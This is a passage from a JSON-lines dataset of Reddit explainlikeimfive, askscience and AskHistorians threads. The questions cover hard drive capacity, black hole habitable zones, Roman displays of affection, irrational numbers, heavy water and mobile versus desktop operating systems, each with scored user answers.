CNO cycle because I'm lazy, sorry :(  but the CNO cycle is just another way to create Helium. Which cycle the star uses depends on the temperature of the star.\n\nNext is the Triple Alpha Process. This process doesn't happen until the star is running out of Hydrogen to fuse. Two of our formed Heliums fuse to create Berillium (+8) which is quickly hit by another Helium (+4) to create our Carbon (+12). Some Carbon can also fuse with Helium to create Oxygen.\n\nthe basic ideas here repeat themselves until Iron begins to form. after that, energy input is required to fuse Iron, so there is where things start to go downhill for the star\n\nA physicist may want to double check me, I'm just a dumb mechanical engineer  > . > \n\n", "[Couldn't these have been in one post?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Stellar_nucleosynthesis#Key_reactions"], ["http://en.wikipedia.org/wiki/Triple-alpha_process", "http://en.wikipedia.org/wiki/CNO_cycle", "http://en.wikipedia.org/wiki/Proton-proton_chain"], ["http://www.reddit.com/r/askscience/comments/iy0b6/why_is_fe_the_last_element_produced_through/"]]}
{"q_id": "6g62z0", "title": "what is physically different about a hard drive with a 500 gb capacity versus a hard drive with a 1 tb capacity? do the hard drives cost the same amount to produce?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6g62z0/eli5_what_is_physically_different_about_a_hard/", "answers": {"a_id": ["dintvss", "dintztc", "dinug5k", "dio039e", "dio0tge", "dio1gdp", "dio1x6r", "dio30i5", "dio3bzi", "dio3dx0", "dio3izo", "dio65sz", "dio66iw", "dio6d5b", "dio6jhd", "dio6v8v", "dio7ro3", "diobyso", "diod4ls", "dioet4l", "dioik4d"], "score": [98, 12, 614, 2482, 45, 10, 21, 2, 5, 24, 2, 7504, 2, 5, 2, 12, 2, 2, 2, 2, 2], "text": ["A drive with twice the capacity likely has more platters and may pack the bits tighter together. They do not cost the same to produce; just because their external case is the same size and shape doesn't mean they are the same thing.", "Think of a hard drive as CD's stacked on top of each other with a read/write \"head\" floating above/below them. In drives that have more capacity, there are more CD's in the stack. ", "The ones and zeroes used in binary coding are stored within a disk within the hard drive called a platter. Just as you can magnetize a nail this platter is divided into billions of sections each one able to be magnetized or unmagnetized to represent a 0 or 1. Depending on how many sections you can make that platter into and how many platters you can fit into a hard drive dictates the amount of memory you can fit in it. \n\nI was interested with this too so I decided to do some investigating and came up with this as he best explanation.\n\n_URL_0_\n\n", "There are differences usually, and it depends on the type of drive.\n\nSolid state drive use flash chips to store data. Larger drives either use more chips (up to the max that the controller can handle), or they use higher capacity chips. As a general rule, controllers that can handle more chips, larger chips, and faster chips tend to be more expensive.\n\nMechanical hard drives have platters with magnetic dust on them. The platter is divided up into sectors, and the orientation of the magnetic field determines whether each sector is a one or a zero. Larger drives have more platters, generally. It is possible to artificially limit the capacity of a platter in order to make additional sizes.\n\nFor both types of drives, size increases over time come from higher density. The flash chips in solid state drives improve every few years like CPUs (they are both silicon-based semiconductors). Mechanical hard drives advance more slowly.\n\nIn either case, simply adding more storage media (chips or platters) is a significant engineering problem, so improvements in capacity are tied to improvements in the underlying tech.", "  There's a lot to consider about a hard disk, perpendicular/parallel magneto-resistive surface, glass/aluminum media, magnetic density of surface, how many disks/heads inside and so on. \n  But if you are talking about same technology there's 2 options to double the hard disk capacity, double the number of disks inside or use only one side of them (in this case, halves the capacity). \n  On both cases there's a small savings on the lower capacity versions, as the components are cheap compared to the final price of the hard disk.  The big savings comes at quality control, if something doesn't work, there's a chance that part of it still works.  Selling it at cheaper prices reduces the work and increases the profit comparing to recycling. \nsource: I work at QC in a company that makes the disks for Samsung, Western Digital, HGST, Toshiba, Hitachi. ", "None of these explanations are for a five year old.\n\nHard drives are made up of \"plates\" embedded with tiny magnets. A \"head\" moves over the plates and reads/writes to them as the plates spin. You can get more information by stacking more plates and heads into the container, but you're limited by physical size. A standard 3.5\" drive has increased in capacity through various techniques for making the embedded magnets smaller or closer together.", "All memory works on the basic principal of 1 and 0. Adding more 1's and 0's together can be interpreted as numbers and words. How these numbers are stored depends on the device, but the basic principal is the same.\n\nThe place to start is with a CD. When you stick a CD into a tray, you'll see a small laser that reads by moving from the center to the edge and back. When it starts playing the disk spins. A raised edge is read as 0, a lowered edge as 1 (may be the other way around, don't remember).\n\nAn HDD is the same, but it uses magnetic orientation instead. Positive is 1 and negative is 0 (again, maybe the other way). Now, the difference between a 500 GB drive and a 1 TB drive (and all others) is magnetic density. Just like a CD, only so much information can fit on a disk (called a platter in an HDD). Over time, new technologies allow for more information to be saved. This happens in one of two ways: add more disks (multiple CD's), or fit more data on a disk (CD vs Blu-ray). A 500 GB drive will have two 250 GB platters, a 1 TB drive will have 4.\n\nAs far as cost, yes and no. The cost of the enclosure, stickers, platters, boards, etc. are all the same. When you mass produce this stuff, you want as many of the same components as possible to reduce overhead. But, since density of the drive is the first obstacle, you spend a a lot on R & D to up that value (part of the cost difference of newer drives). The second thing to do is add another platter or three (more platters, more expense).\n\nDrive technology constantly evolves in order to reduce latency, and increase both density and read/write speeds. If you can fit more onto a platter, you can get quicker speeds and lower latencies because the read head doesn't have to search between areas of the platter and/or different platters. More platters add to the overall size of the drive, but can affect performance of the drive.\n\nSolid state drives are the same, except instead of magnetics, they operate by transistors within a flash chip. More transistors are like denser platters, more chips are like more platters. While the basics of how data is stored and read, the different types of storage devices (HDD, SSD, CD, tape, etc.) each have their own benefits over the others.", "_URL_0_\n\n\nYour observation is correct for disk drives with platters.\n\n\nLong ago computer companies worked out they could maximise profits by selling various versions of products at different price points, even if they cost the same to produce. Certain features of some products are disabled. So  1TB mechanical disk drive may come off the same production line as a 500GB, with the software determining how it it appears to the user. \n\nThe same is true for CPUs and airline tickets.", "Just wanted to extend the good answers already here.\n\nSo the basics: the modern hard drive is made of a platter (the spinning disc) that the data is stored on, and the disc read head. The data is stored as 1 or 0 by the orientation of the magnetic grains. You see, in magnetic materials, the magnetic field of each specific atom likes to arrange itself in parallel with its neighbour. This leads to grains of groups of atoms, grains, aligning one way or the other. Looks like a really small camouflage pattern.\n\nHowever, the data points of a hard drive are spread evenly across the platter with no regards to where the grains are. So each data point is about 30 grains but can be more.\n\nNow we have entered a state where continuous improvement of this tech is impossible due to the \"media trilemma\". Right now data densities are about 2.54 TB per square inch.\n\nThe grains have got so small that they are limited now by the superparamagnetic limit. As I said before, the grains are collections of magnetic fields that are aligned. They behave as one big field, and will orientate themselves together. They flip their field together and are just great friends really. If you make this grain smaller, they flip their field easier, meaning your data point can flip to a 0 from a 1 randomly. That's data corruption. Hard drives are made in this day and age to have this occur only once every 10 years.\n\nSo you can't make the grains smaller. A new technology, Bit Pattered Media (BPM) aims to actually make each bit as a physical structure, but this is very hard.\n\nYou can't reduce the amount of grains within each bit without making the field of each data bit unreadable.\n\nYou could make the platter out of a different substance that has more stable fields that won't flip, but then you need a stronger field to flip the bit when you are writing to the hard drive. Containing a stronger magnetic field is hard, so you get the same problem as above.\n\nHeat Assisted Magnetic Recording (HAMR) aims to use a laser in the form of a Near Field Transducer (I don't understand how they work) to heat each bit to allow a smaller magnetic field to write to each bit, but keeping the stability of the field of each bit.\n\nThere is also antiferromagnetic coupling but that's too complex to add as a side note.\n\nAll in all, you can't increase data density without negatively effecting data stability and writeability. That's why hard drive data density hasnt increased in the last 5 years and will never get bigger without some big changes.\n\nEDIT: My bad, should really say the hard drive platter's data density. And 10 years is a stretch.", "Speaking only of hard drives (not solid state drives):\n\n\n**More space to write**\n\nI want you to write a bunch of words, so I give you one sheet of paper and a big marker.  If I want you to write twice as many words, I can simply give you a second sheet of paper.  Hard drives store data on a spinning metal disc (called 'platters').  Once way to store more data is to just put more spinning discs in the hard drive.\n\n**Smaller marker**\n\nI have another sheet of paper, but I want you to write more words on it than you did the first time.  So I replace your big marker with a really nice fine-tip pen.  Now you can write your words smaller than before, so more words fit on the same sheet of paper.  In this case, 'improving the marker' on the hard drive isn't so much a physical change as it is a software change.  As time goes on, hard drive makers get better at packing more data into the same amount of space on a platter.\n\n-----\n**TL,DR**\nHard drive makers get better at writing data in smaller and smaller spaces over time.  They can also add more writing space by adding more metal frisbees (platters).  So in 2010, a drive might have used 1 platter to store 500Gb.  Thus, a 500Gb drive from that time would have one platter, while a 1Tb drive from that time would have 2 platters.  Fast forward a couple years, hard drive makers have better 'markers', and you can find a 1Tb hard drive with only a single platter.\n", "I haven't read all the comments, so maybe this is already dropped here;\n\nbut back in the days of 720kb 3,5\" disc, of you drilled an extra hole in it, you could reformat most of them to 1,44 mb discs... \n\ntadaaa! Double the size, saved a penny!", "Here's an analogy that a five year old might understand.\n\nImagine you have a piece of paper. You get your crayon and divide the paper up into squares. In each square you can write a limited amount of information (for this example, let's say one letter), [like this](_URL_1_). If you tried to write any more information in each square, it would be unreadable because the crayon is too thick to write smaller letters.\n\nYou can make more storage space by creating a book using more than one sheet of paper. The extra paper costs more money compared to using a single sheet. Another way to make more space is to replace your crayon with something smaller, and more expensive, like a pen. You [can see](_URL_0_) that more information would fit on the sheet compared to when you were using a crayon.\n\nOnce you've made your large storage device using multiple sheets of paper and a pen, you might want to make artificially smaller sizes (read about price discrimination for more on why you might want to do this). You can do this by removing some of the sheets, or by painting over some of your squares [like this](_URL_2_).\n\nTo get back to your original question: The physical differences are different numbers of platters (the sheets of paper in the analogy), and different density on each platter (the different writing sizes in the analogy). Whether they cost the same depends on how a manufacturer decides to produce their different sizes. If they use fewer platters, it might cost less to make a smaller drive. If there is no physical difference and they just disable part of the drive for their smaller capacity drives (painting over squares in the analogy), then all sizes will cost the same to produce.", "A follow-up question. Something I heard way back, which was a big weird to me.\n\nSo, somebody once told me that when hard drives are manufactured, the complexity of the materials involved means that a large percentage of hard drives aren't properly put together, and have less space than they can technically have. Since these mistakes are made in the broader sectors, a 1 TB hard drive with damage to one or two 'pieces' is sold as a 500 GB hard drive with the damaged sectors locked out.\n\nIs this true? Or was someone screwing with me?", "I've always wondered this but with CPUs and GPUs. The only difference to me is the price and performance, the size of the chips are the same. It feels as if they intentionally create worse chips then they can so they can tend to different price classes. If that's the case I think that it's a problem ethically since why not create the best product you can and loads of it if it takes the same amount of resources? Does anyone here know? ", "Many others described how different technologies affect the price of a hard disk, but this does not explain why you pay memory almost proportionally to its size.\n\nFor that, you have to consider how the price of a product is determined. For every product (the 128 GB hard drive, the 256GB, 512GB, 1TB, etc), the price is determined mostly based on the consumer perceived utility, rather than the production cost. \n\nConsumers value memory size according to their own needs, but two factors are always true: more memory is worth more, but double memory is not worth double the price. Therefore for each consumer, there is a sweet spot in terms of price vs memory. \nNow, different consumers look for different compromises, because of how much money they have, how much time they spend at their computer, whether they like movies or not, etc. If you want to maximize your profits when selling memory (but also many other goods), you want to allow cheap options, good price/value options (usually the second largest size), and pricey options (for those that have money to burn).\nThink about that: assume that all different size of hard disks have the same production cost for you. Assume you sell them at the same price. Then there will be a group of people that decides not to change their HD this year, because that price that you are proposing is too expensive. Another group would buy it, but they would have spent many more if you asked. \n\nAs a seller, you need to do what is called \"price discrimination\", by \"product versioning\".\n\nOn the other hand, it would be quite hard to believe that the same packaging (for example, the classic verbatim usb pen packaging) would have been the right kind of packaging for USB memories of 128 MB and 128 GB - that is a 1000x difference! ", "The answer is \"it depends.\" Let's say you're a HD manufacturer and decide to make 1 TB drives. Let's say during the testing phase, you find out 10% of your product is defective for 1 TB but could be sold as 500 GB. If you price them correctly, you could find a market for them instead of throwing them away. But let's say your yield of good units is almost 100%, but there is still a market for 500 GB drives and your warehouse is filling up with 1 TB drives. Then you could disable half the drive and sell them as 500 GB drives and clean out that expensive warehouse. In all these cases, the cost of manufacturing is the same. If however, you decide to make separate 1 TB and 500 GB drives, then the costs are separated by the amount of material used to produce them. Source: I used to work for some semiconductor and HD companies.", "What i want to know is how a dichotomy like this at the same time is even possible:  _URL_0_\n  \nBackground: these two drives were purchased about the same time, for about the same amount of money (about 2 years ago, when they both retailed for about $65).  They have similar performance.  Yet one is fully 1/8th the size of the other!  Why aren't 3.5\" drives completely extinct except for huge capacity datacenter or archive type applications?", "A hard drive has parts whose price can be calculated per unit and per byte.  \n\nIn the case of a \"spinning rust\" hard drive, the per unit component is almost all the cost: the chassis, logic board, motors and actuators do not depend on the number of bytes (perhaps $60/unit).  The per byte costs are very small: there may be additional heads and platters or more expensive media but generally not even that.  The difference in price between two capacities in a line is almost entirely intended to capture development costs.\n\nIn the case of an SSD, the per unit components are much cheaper: a plastic tray and a smaller logic board make the per unit cost about 10% of that of a spinny drive (perhaps $6/unit).  The per byte costs hwoever are much higher and depend entirely on the price of flash memory (currently sitting at about 10c/GB).\n\nWhat this means is that:\n\n* Small flash drives are cheaper than small disk drives.\n\n* Large flash drives are more expensive than large disk drives(*).\n\n(*) The price of flash is coming down faster than disk capacities are going up.  At some point disk gets squeezed out by cheap flash from the bottom and other bulk storage techs (tape and optical) from the top.   ", "A lot of people are saying the number of platters changes, which is true, but in some drives the difference is that an additional head is added for the bottom side of the platter. Think of it like a record player with an additional arm and needle so you can play a record without having to turn it over. ", "In general a 500Gb drive is just a 1TB drive that had some faulty parts. Harddisks can avoid those areas of the disk and still use the rest. Thery are hence sold as 500Gb, or 750Gb. \n\nA similar thing happens with the CPUs they are tested running at different speeds and they are sold as running at the higest clockrate they support. ", "I believe it costs more or less the same. Hard drives are a fascinating technology. I'll try to condense what I've learned over the last 15 years of buying and using them as an enthusiast:\n\n\nHard drives operate more or less how a record player does, they have tracks running in concentric circles around a platter, though obviously the hard drive can read as well as write to these areas called \"sectors\", while record players cannot. Just like with silicone circuits over time these sectors have shrunk effectively raising the storage each platter can provide. As a quick example lets say current platter/sector technology can fit 200GB per side. Since hard drives write to both sides of the platter that would mean a single platter hard drive would have a capcity of 400GB. Hard drive manufacturers have been making drives with between 1 and 5 platters for awhile, though the 5 platter ones usually suffered from heat related problems.  That would mean the given hard drive manufacturer would likely offer a product lineup of 400GB, 800GB, 1.2TB, 1.6TB and possibly a 2TB hard drive. Sometimes they introduce the newer denser platters on single platter drives, sometimes on the 4-5 platter drives. It seems like the engineering to make a multiplatter design work with newer platter densities is non-trivial as it usually takes awhile before the whole lineup features it.\n\n\n\nTo your question: in my experience the number of platters doesnt seem to significantly affect the price, there is almost always a small premium for 4-5 platter designs over 1-2 which i suspect is for the additional read/write heads and engineering to make that work but the cost of those highly polished platters doesnt seem to add up to much. I have seen 4-5 platter hard drives be very expensive ($300~) and at other times very cheap ($145~). Market forces seem to have the strongest affect on price. At the moment there are too few HD manufacturers for us consumers to enjoy low profit margin prices like we did about 7-8 years ago. \n\n\n\nAn interesting note: different HD manufacturers often have different platter densities so if one manufacturer has managed to get there process to 125GB per platter they will offer hard drives in sizes no other manufacturer offers. This seems to have lessened with the consolidation of the HD manufacturers but it was interesting seeing one manufacturer offer 750GB drives while no other one did.\n\n\n\nIf you've made it this far let me close with the 2 golden rules related to hard drive longevity:\n1. Keep it stable. Excessive vibration will kill a hard drive. Make sure its mounted securely and dont pick up a portable one while its in use.\n2. Aside from misadventure the #1 killer of hard drives is heat. A good rule of thumb is to keep the hard drives below about 110 - 115 degrees Fahrenheit. Anything over that usually results in a premature hard drive death. Most external hard drives from WD, Seagate etc are inadequate to keep the hard drives inside at optimal temp. If you have a desktop computer and dont need the drive to be portable, take it out of the supplied USB enclosure and install it inside the computer case with a fan blowing over it. Chances are that drive will last 5+ years no problem. If the hard drive must remain portable buy a portable hd enclosure with a fan, its a well worthwhile investment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.explainthatstuff.com/harddrive.html"], [], [], [], [], ["https://en.wikipedia.org/wiki/Crippleware#Computer_hardware"], [], [], [], ["http://i.imgur.com/zlKIipz.jpg", "http://i.imgur.com/lsGrjPk.jpg", "http://i.imgur.com/D8JNzAJ.jpg"], [], [], [], [], ["https://i.imgur.com/Itlvbqy.png"], [], [], [], []]}
{"q_id": "28smx0", "title": "Is there a habitable zone orbiting a black hole? Black holes are extremely massive and (we think) they emit radiation in the form of Hawking radiation? Could a planet be in a stable orbit around a black hole with liquid water from the hawking radiation?", "selftext": "What requirements would a planet need in terms of atmospheric gasses and such for this to work? What would be the effects of time dilation on the planet as it gets closer and further away from the black hole if it was maybe an earth sized planet in orbit?  How close would an earth sized planet have to be to what sized black hole for this to work if it does? If a planet maybe the size of Jupiter was very close in orbit around a black hole what would the effects of time dilation to the planet because a large planet might not experience time dilation equally on both sides of the planet.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/28smx0/is_there_a_habitable_zone_orbiting_a_black_hole/", "answers": {"a_id": ["cie2abd", "cieb96q"], "score": [23, 2], "text": ["As posed, this wouldn't work, because the temperature of the Hawking radiation of an object large enough gravitationally to have planets is minuscule.  The larger the black hole, the lower its temperature, so to get a hot enough black hole to melt water, the black hole would have to be really small.  \n\nHow small would it have to be?\n\nA black hole with the mass of the Sun would have a temperature of 60 billionths of a degree above absolute zero (60 nanokelvin).  A black hole with the mass of our Moon would only radiate at 1.7 K, less than the temperature of the cosmic microwave background radiation.\n\nTo get a black hole that radiated at 273K (the melting point of water), you'd need something less than 1% the mass of the Moon.\n\nSo this scenario wouldn't work.  You'd need a black hole much smaller than the Moon to get the kind of temperature necessary, and such an object is not big enough to be the center of a solar system.\n\nOn the other hand, you could probably create a scenario in which a hot black hole orbits your planet and warms it up.  But this is rather different from a habitable zone around a black hole.\n\nEdit: some details added.", "Outside of a black hole there is an accretion disk. This disk is generally very hot and luminous due to the constant collisions of objects falling into the black hole. This immense heat turns out to be hotter than even our own sun. Hence, any habitable zone would need to be far away from the accretion disk to avoid the associated dangers of immense electromagnetic radiation and extreme temperature variation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1ypcti", "title": "where the Romans comfortable with the idea if showing physical affection to their children or spouses in public?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ypcti/where_the_romans_comfortable_with_the_idea_if/", "answers": {"a_id": ["cfmnjcj", "cfmp5de", "cfmsrhv"], "score": [304, 84, 18], "text": ["For upper-class Romans, no.\n\nRoman social norms basically thought women should stay quiet, stay in their homes, and stay out of the way of the men.  Upper-class women didn't even often eat with their husbands (or other men).\n\nCato the Elder (the guy who ended his speeches with \"and Carthage must be destroyed!\") later become Censor, a very exclusive position in charge of keeping morality in the Senate and kicking out people who were immoral.  While Censor, Cato saw or heard about this Senator Manilius kissing his wife in broad daylight in front of his young daughter.  *Cato kicked him out of the Senate for that.*\n\nThat's not to say all Romans would restrain from physical affection to their wives.  It's very conceivable that lower-class Romans (or teenagers) would kiss (or do more) in public, since they had no strict etiquette rules in place.", "Hello there! Plutarch (c. AD 46-c. 120) records a relevant anecdote involving the crotchety Cato the Elder (234-149 BC) and a certain Manilius he expelled from the Senate, \"because he [Manilius] kissed his wife in broad daylight with his daughter looking on.\" But Cato then remarked, according to Plutarch, \"that his wife never embraced him except when there was a great peal of thunder, and that she joked that she was a lucky man when Jupiter thundered.\" (*Life of Cato the Elder* 17.7) \n\nPlutarch comments on the same occasion in his *Moralia*: \n\n >  Cato expelled from the Senate a man who kissed his own wife in the presence of his daughter. This was perhaps somewhat excessive (\u03c3\u03c6\u03bf\u03b4\u03c1\u03cc\u03c4\u03b5\u03c1\u03bf\u03bd, comparative), even if it is shameful, just as it is [for a man and woman] to welcome and love (\u03c6\u03b9\u03bb\u03b5\u1fd6\u03bd, implying displays of affection?) and kiss one another when others are present. But how is it not more shameful when those present revile and quarrel against one another, and then admonish and even find fault and speak freely in the open [about it] for all to hear, even though [a man's] private interactions and acts of kindness with his wife are to be kept hidden? (139.E-F; I tried to make a readable translation)\n\nCuriously, some dedicatory grave inscriptions do contain open displays of affection. Robert Knapp quotes two examples in *Invisible Romans* (Cambridge: Harvard University Press, 2011; a good read, by the way, with somewhat iffy scholarship):\n\n >  This is the gravestone Gaius Aonius Vitalis set up for Atilia Maximina, she of purest spirit, an incomparable wife, who lived with me without any quarrels for 18 years, 2 months, and 9 days, having lived 46 years, leading a life of honor and good name, my everlasting solace. Farewell. (*CIL* 5.3496)\n\n >  Pompullius Antiochus, her husband, set up this gravestone to Caecilia Festiva, his dearest, sweet wife, hard-working and well-deserving, who lived with me 21 years without a contrary word. (*CIL* 9.3215)\n\nWith that, I can't speak for conditions across all of Roman history and society. I hope you find this helpful nonetheless! :)\n\nSee also: J. Bradford Churchill, \"The Lucky Cato, and His Wife,\" *Phoenix* 55.1/2 (2001), 98-107.", "For a slightly broader answer than the others here, the proper response is, of course, \"which Romans?\" There were certainly those like Cato the Elder, and while he was certainly exceptional, the fact that he existed as a general example of stern and properly Roman virtues is telling. His actions and demeanor, in other words, were attractive to a significant and influential segment of the population.\n\nOn the other hand, we must also be careful when extrapolating from someone as purposely provocative as Cato. While he was embodying traditional Roman virtues, he was also reacting against what he viewed as the degradation of those virtues, and while those people may not have been as praised by later writers they certainly existed. Most notably, the so-called \"urban middle/commercial class\" has sometimes been theorized to imitate certain social patterns of modern middle classes. That is, because they were not so deeply embedded within a far flung social network as the elite classes, their ideological focus was more on their immediate family than their relation to their ancestors and vague sense of familial status. Thus, when you look at funerary monuments from the first couple centuries, you see a very real focus on familial love and spousal affection. This can then be compared to works such as *Satyricon*, where the wealthy freedman Trimalchio and his wife, while not precisely affectionate, still set a great store on their personal relation to each other as individuals rather than as representatives of broader social networks. So we might posit that this less historically visible but still large and influential segment of the population would not have been so shy about public displays of affection.\n\nThe recent work I know of on this is Emanuel Mayer's *Ancient Middle Class*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "343fg5", "title": "how do police deal with destruction of department assets during a riot?", "selftext": "In every riot such as the one you see in the current riot in Baltimore (April 2015) you always see police cars being torched and destroyed by rioters. How do police departments replace such assets and how long does it take? How do they deal with possibly not having enough cars for all the officers?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/343fg5/eli5_how_do_police_deal_with_destruction_of/", "answers": {"a_id": ["cqqvhzb", "cqqvxrd"], "score": [2, 2], "text": ["Usually police will strip a squad car down and place it near the riot line for if they get pushed back.  \n\nThis car acts as a red-herring to the rioters and minimizes destruction to property while preventing more destruction to more expensive and critical equipment.", "departments don't have just 1 car in their fleet for every patrol cop.  there's always extras.    many many extras.   because cars need to be serviced at intervals.   patrols need to go out all the time.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1k97my", "title": "irrational numbers. if they're supposedly random yet trail on infinitely, wouldn't they eventually have a pattern?", "selftext": "I've always wondered this. They can't possibly be completely irrational, can they? If they truly go on seemingly at random then, eventually, even if it was at the 10^billionth decimal place, wouldn't it eventual repeat?\n\nEDIT: I think a good deal of my confusion came from mixing up the concepts of a purely random number with a number that does have a pattern yet is irrational. If I were to modify my original question it would be this: If I were to take an irrational number such as \"pi\" that has a series of digits that go on forever, wouldn't it eventually start showing repetition?\n\nAlso, thanks for all the responses and bearing with my child-like understanding of math! I'm going to go ahead and mark this answered but I thoroughly enjoyed reading all the responses. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1k97my/eli5_irrational_numbers_if_theyre_supposedly/", "answers": {"a_id": ["cbmmf3q", "cbmmmi6", "cbmnl60", "cbmpxyd"], "score": [6, 2, 3, 7], "text": ["well obviously after 11 digits there is going to be a repeat digit, but that doesn't mean there is a pattern.\n\nHere is an example of a decimal with an infinite number of digits, but it's obvious there isn't a pattern.\n\n0.123456789101112131415161718192021222324252627282930313233...\n\nIt's easy to see that it will never really be \"repeating\", things like pi are harder to see, and require some complicated math to prove, but if they would eventually repeat, then they would not be \"irrational\" since irrational means they can't be represented as a ratio, and anything that is repeating can be represented as some fraction like x/y.  We know pi is irrational, so it has to go on not-repeating forever.", "If a decimal terminates or repeats, it must be a ratio of two numbers, X/Y...that's what **ratio**nal means.\n\nIt is pretty easy to prove that for certain numbers like pi, e, and the square root of 2, there can be no two numbers for which they are a ratio.  The [proof](_URL_0_) for the square root of 2 is particularly accessible.\n\nIt is not a matter of looking at the first million digits and saying, \"Whelp, doesn't look like it repeats, must be irrational.\"  This is something we can actually prove.", "It's a good question.  If you've got a system with a fixed amount of information, it can only go through so many transformations before it repeats itself.  So how can irrational numbers go on forever?\n\nSeems to be that knowing which digit you're on, is the piece of information that keeps increasing in size.  It takes more \"space\" to know you're on the ten billionth digit of pi, than to know you're on the tenth.  That's what's growing, and that's why irrational numbers can keep on being irrational forever.", "First of all, irrational \u2260 random.\n\nWhat do you mean by a \"pattern\"?  Think of the number that Mason11987 described: 0.123456789101112131415161718192021222324252627282930313233...  There is a pattern there, but the number doesn't repeat.  Irrational just means that the number doesn't repeat\u2014it may still have a pattern, but it must be a non-repeating pattern.\n\nOne good way to think of it is this classification:\n\n1. Numbers that you can describe by giving a finite list of digits, the location of the decimal point, and the sign.  For example, 1, 37, -2.5, 137.48560263, etc.\n2. Repeating numbers.  These you can describe by giving these four things things: (a) a finite list of digits that doesn't repeat, followed by (b) a finite list of digits that repeats forever, and (c) where to put the decimal point, and (d) the sign.  But there is an even simpler description as a *ratio*:  the sign, a non-negative whole number as numerator, and a positive whole number as denumerator.\n3. Computable irrational numbers.  These never repeat, but there is some finite formula or computer program that can calculate the sign and as many digits as you like.  Examples: square root of 2, pi.\n4. Uncomputable numbers.  These are numbers for which it is impossible to compute all of their digits.  This is really exotic stuff that you'll probably never run into.  Example: [Chaitin's constant](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.math.utah.edu/~pa/math/q1.html"], [], ["http://en.wikipedia.org/wiki/Chaitin%27s_constant"]]}
{"q_id": "1l679q", "title": "what the heck is a feed-in tariff when speaking about energy and electricity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1l679q/eli5_what_the_heck_is_a_feedin_tariff_when/", "answers": {"a_id": ["cbw83r8"], "score": [2], "text": ["It is the rate the utility pays for you to feed energy into their grid, rather than your normal consumption tariff."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1hawvt", "title": "What would happen if a person drank only deuterium water (D20 instead of H20)?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1hawvt/what_would_happen_if_a_person_drank_only/", "answers": {"a_id": ["casjvlx"], "score": [26], "text": ["[You would eventually die](_URL_1_), once the D20 fraction of the water in your body reached around 35%, [possibly as low as 20%](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nrcresearchpress.com/doi/abs/10.1139/y99-005", "http://www.ncbi.nlm.nih.gov/pubmed/3037213"]]}
{"q_id": "4sfzal", "title": "what are the differences between desktop (e.g windows 8) and mobile (android) operating systems in terms of file systems, security, process management etc. and what do they do better than the other?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4sfzal/eli5_what_are_the_differences_between_desktop_eg/", "answers": {"a_id": ["d5900ui", "d591hmf", "d591r16", "d592yvj", "d593esp", "d593ylt", "d595g8o", "d59837y", "d598gqg", "d59a70m", "d59bdec", "d59cdbh", "d59dtdc"], "score": [219, 2, 47, 1075, 72, 3, 5, 4, 3, 9, 5, 5, 2], "text": ["They aren't actually much different! \n\nBoth windows and android are Multi-User, Multi-Process operating systems. \n\nMulti-Process - \nWindows can have multiple programs running at the same time.  \n\nAndroid can get notifications while you use other apps. On android there is a \"process\" running in the background handling notifications and other things.\n\nMulti-User -\nWindows can have multiple users, and you can login as each one of them, as you might know. \n\nAndroid also has multiple \"users\", often one for each app, although the average person won't see them. On my tablet, the terminal (a bit like CMD.EXE) app has username uo_a77 (catchy, right). But I have access to the \"root\" user, which is kinda like the Windows administrator. This is also where the term \"rooting\" comes from.\n\nWhich brings us to differences.\n\nOn Windows and other desktop operating systems, the vendor will not try to lock down the root user or administrator account. On phones they will, because security or something.\n\nOn Windows etc., the interface is not usually optimised for small touchscreens (with some exceptions)\n\nDesktop/laptop operating systems are usually designed for x_86 or amd_64 processors (with many exceptions, including Windows RT)\n\nDesktop operating systems usually have more tools for handling files, as phones have less storage (so presumably fewer files)\n\nAnd other general optimisations for battery life etc, but as tablets run on both Android and Windows, the line is blurry.\n\nEdit: Windows can run more than two programs if necessary, android has many users.", "Security - Android runs each app in it's own user context; Android creates a new user for each app when you install it, so when you launch it, it doesn't have all the rights that you as a user has.\n\nWhile on Windows, launching a program, it runs as 'you'. That means it can read all the information you can read.\n\nFile systems - Android uses the operating system Linux as a base, so it uses another file system than Windows. If you access a file on Android/Linux, it is stored in your unused RAM making the next access very efficient.\n\nWindows does this too, and as far as my experience not as fast/efficient as Linux.\n\nProcess management - Although both systems do processes much the same way, Android has optimizations for hardware constraints like battery, low RAM, and CPU.\n\nAndroid kills processes if it's low on RAM, while desktop Windows crashes i guess. \n\nSo if you are making an app for Android, you have to take into consideration that Android has very much control over your apps process life cycle and that the user can switch apps etc.\n\n\n- They are very much the same on the bottom -\nAt the base, both a desktop Windows and an Android mobile are very much the same. You could plug a mouse, keyboard display into an Android phone. \nThe difference, is what they have put 'on top' of the operating system. Like user interface and such, which runs as a separate process\n\nexplorer.exe runs much of the user interface you see on Windows,\non Android there's another process that shows the user interface.", " > ELI5\n\n > Process management\n\nDon't think this is the correct sub for this question.\n\nELI5 answer to \"Difference between mobile and Desktop operating systems\"\n\nDesktop operating systems are designed so you can do a lot at once, and so they are easy to use with a mouse and keyboard. They run on powerful computers that use a lot of electricity, so the hardware is heavy and the battery (for a laptop) quite large.\n\nMobile operating systems are designed so you only do one thing at a time, and are easy to use on a touch screen. They also tend to be better at saving battery life when not being used, as mobile devices are often small and the battery can't be as big as a laptop battery.", "many answers here miss process management 